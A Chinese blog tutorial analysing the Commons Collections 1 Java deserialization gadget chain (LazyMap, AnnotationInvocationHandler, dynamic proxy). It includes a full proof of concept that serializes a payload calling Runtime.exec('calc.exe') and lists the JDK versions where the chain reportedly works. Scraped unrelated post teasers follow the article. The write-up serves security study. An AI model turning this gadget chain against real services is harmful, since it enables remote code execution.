Java安全之Commons Collections1分析(三)

0x00 前言

继续来分析cc链,用了前面几篇文章来铺垫了一些知识。在上篇文章里,其实是硬看代码,并没有去调试。因为一直找不到JDK的低版本。 全靠脑子去记传参内容尝试理解。后面的其实就简单多了,在上篇文章的基础上再去做一个分析。

  1. Java安全之URLDNS链

  2. Java安全之Commons Collections1分析前置知识

  3. Java安全之Commons Collections1分析(一)

  4. Java安全之Commons Collections1分析(二)

0x01 CC链的另一种构造方式

上篇文章说到使用LazyMapget方法也可以去触发命令执行。因为LazyMapget方法在

这里看到this.factory变量会去调用transform方法。前面也分析了该类构造方法是一个protected修饰的。不可被直接new。需要使用decorate工厂方法去提供。那么在前面我们调用该方法并传入innerMaptransformerChain参数。

这里的innerMap是一个Map的对象,transformerChain是一个ChainedTransformer修饰过的Transformer[]数组。

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

传入过后,LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

当然在实际中,我们还需要借助其他的类去调用这个get方法。

而在AnnotationInvocationHandlerinvoke就会去调用get方法。

 public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
} switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
} return var6;
}

这里特地标出来

Object var6 = this.memberValues.get(var4);

前面说过 构造方法传入的是transformerChain this.memberValues=transformerChain this.memberValues 是一个ChainedTransformer修饰过的Transformer[]数组。这时候调用getget方法调用transform,又回到了刚刚的话题上了。

AnnotationInvocationHandlerinvoke怎么去调用呢?

在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制

0x02 动态代理

关于动态代理,在这里其实还是有必要单独拿出来说一下动态代理这个机制。

动态代理的实现:

Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
  • 第一个参数:People.getClass().getClassLoader(),使用handler对象的

    classloader对象来加载我们的代理对象

  • 第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法

  • 第三个参数:我们将代理对象关联到上面的InvocationHandler对象上

0x03 POC 分析

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler); }

主要是来看这一段代码

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

这里的handler是反射创建的一个 AnnotationInvocationHandler类。而AnnotationInvocationHandler中实现了InvocationHandler接口,可以直接作为调用处理器传入。

那么在这段poc的执行中执行反序列化的时候,AnnotationInvocationHandler重写了readObject()方法,所以调用的是AnnotationInvocationHandlerreadObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap

对应的代码:

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

因为proxyMap是我们的代理对象,所以调用proxyMapentrySet()会触发到AnnotationInvocationHandlerinvoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都执行一次。

执行AnnotationInvocationHandlerinvoke()方法后又会调用get方法,再次回到刚刚的地方了。

LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

0x04 结尾

在CC1这条链里面其实是有版本限制的,在高版本无法使用。因为AnnotationInvocationHandlerreadObject()复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。

Java安全之Commons Collections1分析(三)的更多相关文章

  1. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  2. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  3. Java安全之Commons Collections1分析(二)

    Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...

  4. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  5. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  6. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  7. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  8. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

  9. Commons Collections1分析

    0x01.基础知识铺垫 接下来这个过程将涉及到几个接口和类 1.LazyMap 我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map: Map outerMap = ...

随机推荐

  1. Android studio Debug 源码

    原来有的地方打不了断点 会提示no executable code at line xxx 源码sdk里有,sdkManager下好对应版本,然后使用对应版本的模拟器debug就行了 如果要debug ...

  2. 面试【JAVA基础】Web与网络

    1.转发与重定向的区别 转发是服务器请求资源,服务器直接访问目标地址url,把响应内容返回给浏览器. 重定向根据服务器返回的状态码重新请求地址. 转发是服务器行为,重定向是客户端行为. 转发显示的ur ...

  3. 在一台电脑上,添加多个Git的ssh key

    Git的第一套公秘钥默认名为 id_rsa ,如果你想要生成另外一个公钥,比如 aysee ,你也可以使用任何你喜欢的名字. 步骤如下:(总共四大操作) 一.生成ssh key 1.生成一个新的自定义 ...

  4. HTML语言基本单词与css基本单词

    DOCTYPE  文档     html 网页     head 头部   body 主体   title 题目   p 段落    color 颜色    style 样式    backgroun ...

  5. Combine 框架,从0到1 —— 4.在 Combine 中使用通知

      本文首发于 Ficow Shen's Blog,原文地址: Combine 框架,从0到1 -- 4.在 Combine 中使用通知.   内容概览 前言 让通知处理代码使用 Combine 总结 ...

  6. 剑指 Offer 53 - I. 在排序数组中查找数字 I

    题目描述 统计一个数字在排序数组中出现的次数. 示例1: 输入: nums = [5,7,7,8,8,10], target = 8 输出: 2 示例2: 输入: nums = [5,7,7,8,8, ...

  7. C#操作Excel开发报表系列整理

    C#操作Excel进行报表开发系列共写了八篇,也已经有很久没有新东西了,现在整理一下,方便以后查阅,如果有写新的,会同时更新.需要注意的是因为Office的版本不同,实际的代码可能会有所不同,但是都是 ...

  8. 20190930-02 Redis持久化方式一:RDB及修改RDB的默认持久化策略 000 032

  9. input历史快捷-变黄解决

    一: <form action="loginAction" method="post" autocomplete="off">给 ...

  10. TP6.0 一对一模型关联 belongsTo 相对关联(反向关联)

    1. 创建数据表 一对一反向关联使用率很高 附表关联主表称为反向关联,又称为相对关联(tp官方手册这样叫) -- 分类表 CREATE TABLE `category` ( `id` int(10) ...